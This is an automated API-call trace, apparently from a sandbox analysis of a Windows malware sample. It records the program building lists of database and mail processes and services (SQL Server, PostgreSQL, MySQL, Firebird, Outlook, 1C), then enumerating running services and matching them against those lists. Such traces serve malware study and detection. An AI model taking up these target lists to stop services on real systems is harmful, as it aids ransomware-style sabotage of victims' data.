0x57ea78 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x16) returned 0x556530 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1a) returned 0x57ea50 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x584600 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x582db8 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x55a290 [0217.728] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x582db8, Size=0x8) returned 0x582d88 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3c) returned 0x55a878 [0217.728] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x582d88, Size=0x10) returned 0x584648 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x5564b0 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x5565b0 [0217.728] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584648, Size=0x20) returned 0x57ec80 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x555668 [0217.728] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0217.728] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557590 | out: hHeap=0x540000) returned 1 [0217.728] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0217.728] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557fa0 | out: hHeap=0x540000) returned 1 [0217.729] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x57ee60 [0217.731] EnumServicesStatusExW (in: hSCManager=0x57ee60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0217.732] GetLastError () returned 0xea [0217.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c30) returned 0x586478 [0217.732] EnumServicesStatusExW (in: hSCManager=0x57ee60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x586478, cbBufSize=0x1c30, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x586478, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0217.733] CloseServiceHandle (hSCObject=0x57ee60) returned 1 [0217.734] lstrlenW (lpString="Appinfo") returned 7 [0217.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0217.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0217.735] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0217.735] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0217.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0217.736] lstrlenW (lpString="AppXSvc") returned 7 [0217.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0217.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0217.736] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0217.736] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0217.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0217.736] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0217.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.736] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0217.736] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0217.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0217.736] lstrlenW (lpString="Audiosrv") returned 8 [0217.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0217.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0217.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0217.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0217.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0217.736] lstrlenW (lpString="BFE") returned 3 [0217.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0217.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0217.736] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0217.736] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0217.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0217.736] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0217.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.736] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0217.736] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0217.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0217.736] lstrlenW (lpString="CDPSvc") returned 6 [0217.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0217.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0217.736] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0217.736] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0217.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0217.737] lstrlenW (lpString="ClickToRunSvc") returned 13 [0217.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.737] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0217.737] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0217.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0217.737] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0217.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.737] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0217.737] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0217.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0217.737] lstrlenW (lpString="CryptSvc") returned 8 [0217.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0217.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0217.737] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0217.737] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0217.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0217.737] lstrlenW (lpString="DcomLaunch") returned 10 [0217.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.737] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0217.737] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0217.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0217.737] lstrlenW (lpString="DeviceAssociationService") returned 24 [0217.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0217.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0217.737] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0217.737] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0217.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0217.737] lstrlenW (lpString="Dhcp") returned 4 [0217.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0217.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0217.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0217.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0217.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0217.738] lstrlenW (lpString="Dnscache") returned 8 [0217.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0217.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0217.738] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0217.738] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0217.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0217.738] lstrlenW (lpString="DPS") returned 3 [0217.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0217.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0217.738] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0217.738] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0217.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0217.738] lstrlenW (lpString="DusmSvc") returned 7 [0217.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0217.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0217.738] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0217.738] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0217.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0217.738] lstrlenW (lpString="EventLog") returned 8 [0217.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0217.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0217.738] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0217.738] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0217.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0217.738] lstrlenW (lpString="EventSystem") returned 11 [0217.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0217.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0217.738] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0217.738] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0217.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0217.738] lstrlenW (lpString="FontCache") returned 9 [0217.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0217.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0217.738] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0217.738] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0217.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0217.738] lstrlenW (lpString="gpsvc") returned 5 [0217.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0217.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0217.739] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0217.739] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0217.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0217.739] lstrlenW (lpString="iphlpsvc") returned 8 [0217.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.739] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0217.739] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0217.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0217.739] lstrlenW (lpString="KeyIso") returned 6 [0217.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0217.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0217.739] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0217.739] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0217.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0217.739] lstrlenW (lpString="LanmanServer") returned 12 [0217.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0217.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0217.739] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0217.739] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0217.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0217.739] lstrlenW (lpString="LanmanWorkstation") returned 17 [0217.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.739] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0217.739] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0217.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0217.739] lstrlenW (lpString="lfsvc") returned 5 [0217.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0217.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0217.739] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0217.739] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0217.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0217.739] lstrlenW (lpString="lmhosts") returned 7 [0217.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0217.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0217.740] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0217.740] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0217.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0217.740] lstrlenW (lpString="LSM") returned 3 [0217.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0217.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0217.740] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0217.740] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0217.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0217.740] lstrlenW (lpString="MpsSvc") returned 6 [0217.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0217.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0217.740] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0217.740] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0217.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0217.740] lstrlenW (lpString="NcbService") returned 10 [0217.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0217.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0217.740] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0217.740] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0217.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0217.740] lstrlenW (lpString="netprofm") returned 8 [0217.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0217.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0217.740] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0217.740] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0217.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0217.740] lstrlenW (lpString="NgcSvc") returned 6 [0217.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0217.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0217.740] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0217.740] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0217.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0217.740] lstrlenW (lpString="NlaSvc") returned 6 [0217.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0217.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0217.741] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0217.741] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0217.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0217.741] lstrlenW (lpString="nsi") returned 3 [0217.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0217.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0217.741] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0217.741] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0217.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0217.741] lstrlenW (lpString="PcaSvc") returned 6 [0217.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0217.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0217.741] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0217.741] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0217.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0217.741] lstrlenW (lpString="PlugPlay") returned 8 [0217.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0217.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0217.741] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0217.741] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0217.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0217.741] lstrlenW (lpString="Power") returned 5 [0217.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0217.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0217.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0217.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0217.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0217.741] lstrlenW (lpString="ProfSvc") returned 7 [0217.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0217.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0217.741] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0217.741] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0217.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0217.741] lstrlenW (lpString="RpcEptMapper") returned 12 [0217.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.741] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0217.742] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0217.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0217.742] lstrlenW (lpString="RpcSs") returned 5 [0217.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0217.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0217.742] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0217.742] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0217.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0217.742] lstrlenW (lpString="SamSs") returned 5 [0217.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0217.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0217.742] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0217.742] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0217.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0217.742] lstrlenW (lpString="Schedule") returned 8 [0217.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0217.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0217.742] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0217.742] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0217.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0217.742] lstrlenW (lpString="SecurityHealthService") returned 21 [0217.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.742] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0217.742] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0217.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0217.742] lstrlenW (lpString="SENS") returned 4 [0217.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0217.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0217.742] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0217.742] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0217.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0217.742] lstrlenW (lpString="ShellHWDetection") returned 16 [0217.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.742] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0217.743] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0217.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0217.743] lstrlenW (lpString="Spooler") returned 7 [0217.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0217.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0217.743] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0217.743] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0217.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0217.743] lstrlenW (lpString="StateRepository") returned 15 [0217.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0217.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0217.743] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0217.743] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0217.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0217.743] lstrlenW (lpString="SysMain") returned 7 [0217.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0217.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0217.743] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0217.743] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0217.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0217.743] lstrlenW (lpString="SystemEventsBroker") returned 18 [0217.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0217.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0217.743] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0217.743] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0217.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0217.743] lstrlenW (lpString="Themes") returned 6 [0217.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0217.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0217.743] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0217.743] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0217.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0217.743] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0217.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0217.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0217.743] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0217.743] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0217.744] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 